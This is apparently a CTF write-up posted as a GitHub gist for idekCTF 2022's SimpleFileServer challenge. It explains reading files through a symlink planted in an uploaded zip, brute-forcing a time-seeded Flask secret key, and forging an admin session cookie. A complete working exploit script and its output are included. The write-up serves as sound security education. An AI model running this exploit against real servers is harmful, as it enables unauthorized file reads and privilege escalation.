Skip to content

Instantly share code, notes, and snippets.

@jdabtieu
Last active February 27, 2023 23:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jdabtieu/1f2e2449d7b1c3beb6da50d57906106b to your computer and use it in GitHub Desktop.
Save jdabtieu/1f2e2449d7b1c3beb6da50d57906106b to your computer and use it in GitHub Desktop.

SimpleFileServer - idekCTF 2022

Description

All I wanted was a website letting me host files anonymously for free, for ever

Link

simple-file-server.tar.gz

Solution

Upon looking through the Dockerfile, we notice that flag.txt is only readable by root, and executing the flag binary presumably grabs the flag, with setuid permissions.

Looking at app.py, there is a fairly standard looking logger, the secret key comes from an environment variable, and the first few views don't look exploitable. The uploads view uses Flask's safe send_from_directory to send a file from the uploads directory, and returns 404 if the file doesn't exist or if permission is denied. Finally, /flag runs the flag binary to give the flag, but only if the user is admin.

Since there doesn't appear to be an easy target for remote code execution and the webserver can't read the flag file, the goal is most likely to forge a session cookie with admin=True, for which we need the session cookie, which is set in config.py. config.py is run as part of Gunicorn (/usr/local/bin/gunicorn --bind 0.0.0.0:1337 --config config.py ...) when Gunicorn boots up.

import random
import os
import time

SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

Author note: some contestants assumed that the config file would be run every time a new worker booted, causing them to think that time.time() was effectively 'now'. This assumption is incorrect, and it actually only runs once, when Gunicorn itself starts.

To determine the secret key, we need to determine the SECRET_OFFSET. This can be found using local file inclusion: if we trick Flask to send us config.py, then we can read the SECRET_OFFSET. To detemine the starting time of the server (time.time()), we can read the server log. In particular, the log will contain an entry [TIMESTAMP] [#] [INFO] Starting gunicorn 20.1.0 which reveals the second that the app was booted (and hence, config.py was run).

Knowing the secret offset and starting time to the nearest second means that we'll need to brute force around 1000-5000 seeds, because config.py could have been run any time within 1-2 seconds of the log entry.

Local File Inclusion

There is only one way to get files onto the server: the upload page. Conveniently, uploaded files are accessible through the /uploads/<path> path. Flask does not actually verify that the real path provided is inside the base directory, so we can use symlinks to escape out of the uploads folder. If we create a symlink aaaaa -> /, then we can access http://localhost:1337/uploads/id/aaaaa/tmp/server.log and http://localhost:1337/uploads/id/aaaaa/app/config.py. This can be done with ln -s / aaaaa && zip --symlinks f.zip aaaaa.

Bruteforcing the key

Once we have the starting timestamp and SECRET_OFFSET, we can start bruteforcing the possible secret keys using flask-unsign, or a similar tool to verify if a secret key is correct for a given cookie (we can register for an account on the site to get a valid cookie). Once it is found, we can forge a cookie and grab the flag.

Full exploit script

import requests
import os
import re
from pwn import info
from datetime import datetime
import random

server = "http://simple-file-server.chal.idek.team:1337"

# register account
s = requests.session()
s.post(f"{server}/register", data = {
	"username": os.urandom(8).hex(),
	"password": os.urandom(8).hex()
})

### get gunicorn full file read
os.system("ln -s / aaaaa && zip --symlinks f.zip aaaaa && rm aaaaa")
r = s.post(f"{server}/upload", files = {
	"file": (
		"file",
		open("f.zip", "rb").read()
	)
})
id = re.findall(r'Your unique ID is <a href="/uploads/(.*)">', r.text)[0]

# read timestamp from server.log
timestamp = s.get(f"{server}/uploads/{id}/aaaaa/tmp/server.log").text
info("Got server log:")
info(timestamp[:256])

date = re.findall(r'\[(.*)\] \[.*\[INFO\] Listening at', timestamp)[-1]
parsed = int(datetime.strptime(date, "%Y-%m-%d %H:%M:%S %z").timestamp() * 1000)
info(f"time.time() ~ {parsed}")

# read offset from config.py
conf_py = s.get(f"{server}/uploads/{id}/aaaaa/app/config.py").text
info("Got config.py:")
info(conf_py.split('\n')[4])
s_offset = re.findall(r'SECRET_OFFSET = (.*)\n', conf_py)[0].split()[0]
info("SECRET_OFFSET = " + s_offset)
parsed += int(s_offset) * 1000

# bruteforce within error
poss_keys = []
for poss_date in range(parsed - 5000, parsed + 5000):
	random.seed(poss_date)
	poss_keys.append("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))

# write to wordlist then flask-unsign
with open("keys.txt", "w") as f:
	f.write("\n".join(poss_keys))
	f.close()
res = os.popen(f"flask-unsign -uc {s.cookies.get_dict().get('session')} -w keys.txt").read().split("\n")[0].strip("'")
info(f"Got secret: {res}")

# forge cookie
forged = os.popen(f"""flask-unsign -sc --secret={res} --cookie="{{\\"admin\\":True}}" """).read().split("\n")[0]
info(f"Forged cookie: {forged}")

# read flag
info(requests.get(f"{server}/flag", cookies = {"session": forged}).text)

# clean up
os.remove("f.zip")
os.remove("keys.txt")

Output:

$ python3 sfstest.py
  adding: aaaaa (stored 0%)
[*] Got server log:
[*] [2023-01-14 23:03:32 +0000] [8] [INFO] Starting gunicorn 20.1.0
    [2023-01-14 23:03:32 +0000] [8] [INFO] Listening at: http://0.0.0.0:1337 (8)
    [2023-01-14 23:03:32 +0000] [8] [INFO] Using worker: sync
    [2023-01-14 23:03:32 +0000] [14] [INFO] Booting worker wi
[*] time.time() ~ 1673737412000
[*] Got config.py:
[*] SECRET_OFFSET = -67198624
[*] SECRET_OFFSET = -67198624
[*] Session decodes to: {'admin': False, 'uid': 'be420ff2b2d78341'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 5888 attemptsa8639e40fd0e
[*] Got secret: e897071bf3d5dc6ff7882fc0b64ece5c
[*] Forged cookie: eyJhZG1pbiI6dHJ1ZX0.Y8OGYg.d-H--_yRX36EHL73pt1mzlFZkcE
[*] idek{s1mpl3_expl01t_s3rver}

Flag: idek{s1mpl3_expl01t_s3rver}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment